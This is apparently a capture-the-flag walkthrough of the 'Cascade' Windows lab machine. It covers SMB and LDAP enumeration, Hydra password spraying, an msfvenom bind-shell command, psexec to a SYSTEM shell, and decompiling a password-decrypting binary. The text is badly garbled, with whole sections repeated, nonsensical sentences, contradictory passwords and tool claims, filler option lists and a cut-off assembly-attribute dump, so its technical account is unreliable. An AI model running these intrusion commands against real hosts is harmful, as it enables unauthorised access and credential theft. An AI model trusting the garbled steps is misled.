Nmap

As usual, I ran a quick nmap scan (`nmap -sC -sV -p- 10.10.10.182`) so I could look over the results and begin a systematic enter-look-exit process.

```
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
49154/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49159/tcp open  unknown
```

And the disaster over `smap -sC -sV -p 53,88,135,139,389,636,3268,3269,49154,49157,49158,49159,49165,49171,49178 10.10.10.182`

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-16 19:00 EDT
Nmap scan report for 10.10.10.182
Host is up (0.0066s latency).

PORT     STATE SERVICE     VERSION
53/tcp   open  domain      Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
88/tcp   open  kerberos-sec?
135/tcp  open  msrpc       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
139/tcp  open  netbios-ssn Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
389/tcp  open  ldap?
636/tcp  open  tcpwrapped
3268/tcp open  ldap?
3269/tcp open  tcpwrapped
49154/tcp open  msrpc       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49157/tcp open  ldap?
49158/tcp open  ldap?
49159/tcp open  ldap?
49165/tcp open  msrpc       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49171/tcp open  msrpc       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
49178/tcp open  msrpc       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: Host: CASCADE; Operating System: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1,cpe:/o:microsoft:windows_server_2008:r2:sp1,cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -1d00h12m00s
| smb2-security_mode:
|   2.02:
|     Message signing enabled and required
| smb2-time:
|   date: 2020-05-16T23:00:24
|   start_date: 2020-05-16T21:00:17
```

SMB and LDAP are first on my to-do enumeration.

SMB 1

Let's start with **SMB enumeration**. There's a popular tool that I've can use in the direction of tools, if I'm not mistaken, called the Swiss Army Knife for Windows SMB. https://github.com/SECFORCE/Linux-smb-enumeration-checklist-scripts-and-tips

Enum4Linux

Enum4Linux is a popular enumeration tool for a Linux box, to gather it more manageable.

`enum4linux -a 10.10.10.182 | tee enum4linux.txt`

Here's a summary of the useful results, and what I'm looking for after I see information like this:

- We find a list of **usernames**
- We find interesting groups and shares which are "non-default" in Windows Server **Remote Management** Users, a zerofit and above - maybe a remote remote exploit?
- Password policy information, if we find a password, we can guess the complete password.

Rpcclient null

Rpcclient null connections are for a number of reasons, but one of the most useful cases for this box is to crawl/ enumerate a domain for **usernames** (`enum4lib`, `lookup`) to go over how to quickly add and add usernames to a domain, or to find a domain.

Where you can enumerate groups, all usernames, you COULD manually add the names, and finally nothing using `net rpc group add "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'`

```
$ net rpc group add "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'
Enter WORKGROUP\cascade's password:
$ net rpc group members "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'
Enter WORKGROUP\cascade's password:
CASCADE\r.thompson
CASCADE\s.smith
$ net rpc group add "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'
Enter WORKGROUP\cascade's password:
$ net rpc group members "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'
Enter WORKGROUP\cascade's password:
CASCADE\r.thompson
CASCADE\s.smith
CASCADE\arksvc
CASCADE\s.hickson
CASCADE\j.goodman
CASCADE\a.peters
CASCADE\a.davison
CASCADE\a.harris
CASCADE\d.emerson
CASCADE\d.tlustulimu
CASCADE\r.temp
CASCADE\s.smith
CASCADE\s.hickson
CASCADE\j.goodman
CASCADE\a.peters
CASCADE\a.davison
CASCADE\a.harris
CASCADE\d.emerson
CASCADE\d.tlustulimu
CASCADE\r.temp
```

You could keep these usernames lists separate, but I personally just use a text editor to copy and paste the lists as linearly one username list.

```
$ net rpc group add "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'
Enter WORKGROUP\cascade's password:
$ net rpc group members "Remote Management Users" -U cascade -S 10.10.10.182 -P'c1bb1yr0ck'
Enter WORKGROUP\cascade's password:
CASCADE\r.thompson
CASCADE\s.smith
CASCADE\arksvc
CASCADE\s.hickson
CASCADE\j.goodman
CASCADE\a.peters
CASCADE\a.davison
CASCADE\a.harris
CASCADE\d.emerson
CASCADE\d.tlustulimu
CASCADE\r.temp
CASCADE\s.smith
CASCADE\s.hickson
CASCADE\j.goodman
CASCADE\a.peters
CASCADE\a.davison
CASCADE\a.harris
CASCADE\d.emerson
CASCADE\d.tlustulimu
CASCADE\r.temp
```

I know this was a bit of a distance, but I thought I ought to share some quick commands that can save you a lot of time. Based on the **Cascade** machine, I'm sure there's a lot of ldapsearch, and ldapsearch-ldap-tools.

Back to SMB enumeration. `smbclient` wasn't allowing a collection (I likely needed a username/pass) and `rpcclient` wasn't working.

Ldapsearch

`ldapsearch` can give you a whole crawl of information in **LDIF** form for the box. Or, as I ran it, I can search for a specific string, such as the `-w` flag, or find information for a specific field. I actually found through trial, to be honest it's hard to focus that like this to find a needle in a haystack - well it is far too always!

`ldapsearch -x -h 10.10.10.182 -b "dc=cascade,dc=local" | tee ldapsearch.txt`

I started to grep for a whole load of different things (user, usernames, password, pass) until I struck gold with `-w pwd`.

```
$ cat ldapsearch.txt | grep -w0
```

The password is **basic2** (decode it on `echo -n cGFzcyAgIA== | base64 -d`)

- The password is **c1bb1yr0ck**. Save it into our password list.

Hydra

As I ran into a load of usernames, in a whole load of forms, like we have one password, which is good. This is my note to myself **Hydra**: `hydra -L user.txt -P password.txt 10.10.10.182 ldap2 -V`

```
[ldap2] host: 10.10.10.182   login: r.thompson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.smith   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: arksvc   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.hickson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: j.goodman   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.peters   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.davison   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.harris   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.emerson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.tlustulimu   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: r.temp   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.smith   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.hickson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: j.goodman   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.peters   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.davison   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.harris   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.emerson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.tlustulimu   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: r.temp   password: c1bb1yr0ck
```

- The user, `r.thompson`, can have creds for a file **IT** group.

LDAP domain dump tool

`dnstool.py 10.10.10.182 -u 'CASCADE\r.thompson' -p 'c1bb1yr0ck' -a add -r test -d 10.10.14.6`

Dnstool.py is a tool that can add domains a lot of information, and a lot of it repeats, so having this script directly will make our life easier.

`python -m ldapdomaindump -u 'CASCADE\r.thompson' -p 'c1bb1yr0ck' 10.10.10.182`

Ldapdomaindump is a tool that can add domains, and it's a tool that I use a lot. Dnstool.py is a tool that I use a lot, but I'm not as familiar with it. This is a tool I'm trying to learn more of, so I'm trying to use it more. Dnstool.py is a tool that I use a lot, but I'm not as familiar with it. This is a tool I'm trying to learn more of, so I'm trying to use it more.

Dnstool.py is a tool that I use a lot, but I'm not as familiar with it. This is a tool I'm trying to learn more of, so I'm trying to use it more.

I started to grep for a whole load of different things (user, usernames, password, pass) until I struck gold with `-w pwd`.

```
$ cat ldapsearch.txt | grep -w0
```

The password is **basic2** (decode it on `echo -n cGFzcyAgIA== | base64 -d`)

- The password is **c1bb1yr0ck**. Save it into our password list.

Hydra

As I ran into a load of usernames, in a whole load of forms. But we have one password, which is good. This is my note to myself **Hydra**: `hydra -L user.txt -P password.txt 10.10.10.182 ldap2 -V`

```
[ldap2] host: 10.10.10.182   login: r.thompson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.smith   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: arksvc   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.hickson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: j.goodman   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.peters   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.davison   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.harris   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.emerson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.tlustulimu   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: r.temp   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.smith   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: s.hickson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: j.goodman   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.peters   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.davison   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: a.harris   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.emerson   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: d.tlustulimu   password: c1bb1yr0ck
[ldap2] host: 10.10.10.182   login: r.temp   password: c1bb1yr0ck
```

- The user, `r.thompson`, can have creds for a file **IT** group.

IT

			---	---	---
Ryan Thompson	Ryan Thompson	r.thompson
Steve Smith	Steve Smith	s.smith
ArkSvc	ArkSvc	arksvc

- The **Ryan Thompson** creds can be used to log into **IT** group.

SMB II

We can now enumerate again but with Thompson's creds.

`smbclient -L \\10.10.10.182 -U 'CASCADE\r.thompson'%c1bb1yr0ck | tee smb2_list` The most remarkable information we find is within **Shares**.

```
$ smbclient -L \\10.10.10.182 -U 'CASCADE\r.thompson'%c1bb1yr0ck
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
Server            Comment
---------         -------
Workgroup         Master
---------         -------
WORKGROUP         CASCADE
```

Let's try SMBclient with Thompson's creds.

SMBclient

`smbclient \\10.10.10.182 -U 'CASCADE\r.thompson'%c1bb1yr0ck`

- Is there an exploit or a pentest and pentesting tool. We don't have to do this, but it makes life easier rather than having to input the password again and again each time you want to access a new SMB directory.

It works, just like `smbclient -L`, suggested it would. We access the shared by setting the name of one to the share we want to access. Since we have access to the **Data** share, we can access it. It looks like this: `smbclient \\10.10.10.182 -U 'CASCADE\r.thompson'%c1bb1yr0ck`

Dnstool.py is a tool that I use a lot, but I'm not as familiar with it. This is a tool I'm trying to learn more of, so I'm trying to use it more.

- If you have a problem trying to `cd` into directories with a `space`, just enclose them in quotes: `cd "Data Migration"` or `cd "Data Migration"`
- To download multiple files at a time, use `mget *`
- To download single files at a time, use `get <filename>`

Results

- We find a **migrated** folder. To extract some info from it we can use `strings`, combined (I didn't find anything more) this file is not useful.
- We email files from Steve Smith. Move the email files. Temporary account: **TempAdmin**. Password is the same as the normal admin account **cascadeLegacyPwd**.

```
$ ls
  .                   D        0  Wed Jan 29 13:18:52 2020
  ..                  D        0  Wed Jan 29 13:18:52 2020
  Email Archive       D        0  Wed Jan 29 13:21:44 2020
  Interim Emails      D        0  Wed Jan 29 13:20:00 2020
  Logs                D        0  Mon Jan 13 11:27:59 2020

                13107839 blocks of size 4096. 8247231 blocks available
$ cd Email Archive
$ ls
  .                   D        0  Wed Jan 29 13:21:44 2020
  ..                  D        0  Wed Jan 29 13:21:44 2020
  Meeting_Notes_June_2018.htm.mht   A     5487  Wed Jan 29 13:21:44 2020

                13107839 blocks of size 4096. 8247231 blocks available
$ mget Meeting_Notes_June_2018.htm.mht
mget Meeting_Notes_June_2018.htm.mht? y
$ cd Interim Emails
$ ls
  .                   D        0  Wed Jan 29 13:20:00 2020
  ..                  D        0  Wed Jan 29 13:20:00 2020
  Meeting_Notes_June_2018.htm.mht   A     5487  Wed Jan 29 13:20:00 2020

                13107839 blocks of size 4096. 8247231 blocks available
$ mget Meeting_Notes_June_2018.htm.mht
mget Meeting_Notes_June_2018.htm.mht? y
$ cd Logs
$ ls
  .                   D        0  Mon Jan 13 11:27:59 2020
  ..                  D        0  Mon Jan 13 11:27:59 2020
  ldap.log            A     1053  Mon Jan 13 11:27:59 2020

                13107839 blocks of size 4096. 8247231 blocks available
$ mget ldap.log
mget ldap.log? y
```

TightVNC

Searching for `tightvnc` the `tightvnc` file, and it's right with me. If we grep the `tightvnc` file and it has the SMB credentials, plus **TightVNC** is a **Remote Access** tool (OS Family) - I was trying some remote desktop tools a lot, and I found this one. It's a tool that I use a lot, but I'm not as familiar with it. This is a tool I'm trying to learn more of, so I'm trying to use it more. Or, let's go to work.

There are something cycle a few methods on decrypting the password from - some involving using a Windows machine, I wanted to do it on Linux. Found the **Metasploit** module: https://github.com/frohoff/jsevpn/blob/master/src/com/cisco/vpn/Base64Decoder.properties - I didn't even know metasploit could do this.

Metasploit Decrypt

We have a password, and we're sitting through. We can manually pick apart the commands and squeeze to make it work, but I'm sure a commands tool probably takes much effort to write that just working. Here's the first step:

`msfvenom -p cmd/unix/bind_perl LHOST=10.10.14.6 LPORT=4444 -f raw > shell.pl`

```
$ msfvenom -p cmd/unix/bind_perl LHOST=10.10.14.6 LPORT=4444 -f raw > shell.pl
Payload size: 1 bytes
```

Follow the instructions on the prompt, this time I ran `msfvenom` and the rest responds quickly.

```
$ msfvenom -p cmd/unix/bind_perl LHOST=10.10.14.6 LPORT=4444 -f raw > shell.pl
$ msfconsole -q
msf6 > irb
[*] Starting IRB shell...
irb(main):001:0> decrypt_hex("<hex_string_from_tightvnc>")
irb(main):002:0> exit
```

Wo get the password: `c1bb1yr0ck`

SMB III

Let's try the **ArkSvc** of it. I know that it's **c1bb1yr0ck** password. We can't find a user to join our fun time. Put the password in our password list, and then run `hydra -L arksvc -P pass.txt`

```
$ hydra -L arksvc -P pass.txt
[ldap2] host: 10.10.10.182   login: arksvc   password: c1bb1yr0ck
```

We find a user in a password service management, so I can `$ psexec.exe -u arksvc -p c1bb1yr0ck cmd` and get a SYSTEM shell.

```
$ psexec.exe -u arksvc -p c1bb1yr0ck cmd
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

Starting PSEXESVC on CASCADE
Connecting to PSEXESVC on CASCADE
Starting cmd on CASCADE
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
```

Great, we can get into the **Audit** folder. `sqlcmd -S CASCADE -U arksvc -P c1bb1yr0ck`

Audit

- There's an **audit.ini** file which we can open online here: https://www.google.ca/sqlite-viewer
- We find a **Scripts** folder. `dir /s /b /a:-d /o:-d *.*`

username	pwd
ArkSvc	BQO5l5Kj9MdErXx6Q6AGOeW===

We could also find it without using an online tool. The command is `sqlite.exe audit.db "select * from Ldap;"`

```
$ sqlite.exe audit.db "select * from Ldap;"
1|ldap|BQO5l5Kj9MdErXx6Q6AGOeW===
```

I can't seem to get this password to read and decrypt, so I'm guessing it's an encrypted decryption. There are two files in the Scripts folder, one is a log file, and the other is a .bat file. Let's open the log file and see what's in it. It looks like it's trying to decrypt the password but it couldn't find a way to run it at the code or by hit machine.

```
$ type Scripts\ldap.log
$ type Scripts\CleanLdap.bat
```

Arksvc password - Windows VM

> There are probably better, secure and smarter ways to do this. Please consult other writeups and see the methods they recommend.

Let's try to decrypt the password on a Windows VM. Download the **sysinternals** tool, download the **dnspy** from https://github.com/dnSpy/dnSpy/releases/tag/v6.0.5/dnSpy-net-win.zip and run the exe, then add the **DLL** and open the **DnS.exe**. Decompile the **DnS** and **DnSLibrary** and see what fields we can find about decrypting the password.

- Find the **DecryptString** function. Copy the **DnS** and **DnSLibrary** to a new folder.

Set-Up

Here are the steps I took to get the **DnS** to work. I'm sure there's a better way to do it.

- Install the Net core runtime and SDK and add it to the **PATH** in the **Windows** environment variables.
- Install the Net core runtime and SDK and add it to the **PATH** in the **Windows** environment variables.
- Install the Net core runtime and SDK and add it to the **PATH** in the **Windows** environment variables.

And then go to my **VM** folder, and in the folder of the **Windows** machine. Download the zip and put the files into

```
python -m SimpleHTTPServer 8888
```

Directory listing for /

- ArkAdRecycleBin.log
- Audit.db
- CascAudit.exe
- CascCrypto.dll

Go To HTML Download Zip Options
Directory: /Users/jeffmcjunkin/Downloads/cascade.local/
Show 20 items
Sort by Name
Sort order Ascending
Show hidden files
Show dotfiles
Show folders first
Show Size column
Show Date column
Show Time column
Show Type column
Show Permissions column
Show Owner column
Show Group column
Show Extension column
Show Icon column
Show Checkbox column
Show Hidden column
Show Size in bytes
Show Date in ISO format
Show Time in 24 hour format
Show Relative Time
Show Thousands separator
Show Decimal separator
Show Decimal digits
Show Thousands digits
Show Decimal digits
Show Thousands digits
Show Decimal digits
Show Thousands digits

I would discoverd your windows VM from the **network adaptor** at this point, as it seems **Windows Defender** shuts this down and deletes all related files as it considers **dnSpy** as malicious.

Load up the **.exe** and **.dll**, and let's get to work:

Encryption Configuration

This took me a really long time, but eventually it clicked. What we'll be doing is finding the information that the **.dll** used to encrypt the **.exe** with a password, taking that information to a password decryption service, and hopefully unlocking a password.

```
// Decrypt(Pwd, Version:2-0.0, CiphermodeCBC, Paddingpkcs7mode)
// Timestamp: 00000064 (01.01.0001 00:00:00 UTC)
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: ComVisible(false)]
[assembly: AssemblyFileVersion("0.0.0.0")]
[assembly: AssemblyVersion("0.0.0.0")]
[assembly: DebuggableAttribute(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.IgnoreSymbolStructureProblems)]
[assembly: CompilationRelaxationsAttribute(8)]
[assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = true)]
[assembly: ExtensionAttribute()]
[assembly: SecurityPermissionAttribute(SecurityAction.RequestMinimum, SkipVerification = true)]
[assembly: DebuggableAttribute(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStructureProblems)]
[assembly: TargetFrameworkAttribute(".NetFramework,Version=v4.7.2", "NET Framework 4")]
[assembly: AssemblyTitleAttribute("Decrypt")]
[assembly: AssemblyDescriptionAttribute("")]
[assembly: AssemblyCompanyAttribute("")]
[assembly: AssemblyProductAttribute("Decrypt")]
[assembly: AssemblyCopyrightAttribute("Copyright  2020")]
[assembly: AssemblyTrademarkAttribute("")]
[assembly: AssemblyCultureAttribute("")]
[assembly: AssemblyVersionAttribute("1.0.0.0")]
[assembly: AssemblyFileVersionAttribute("1.0.0.0")]
[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStructureProblems)]
[assembly: TargetFrameworkAttribute(".NetFramework,Version=v4.7.2", "NET Framework 4")]
[assembly: AssemblyTitle("Decrypt")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Decrypt")]
[assembly: AssemblyCopyright("Copyright  2020")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
[assembly: ComVisible(false)]
[assembly: Guid("1ddc5f9c-7c4c-4a0f-a4dd-7f4f")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion
```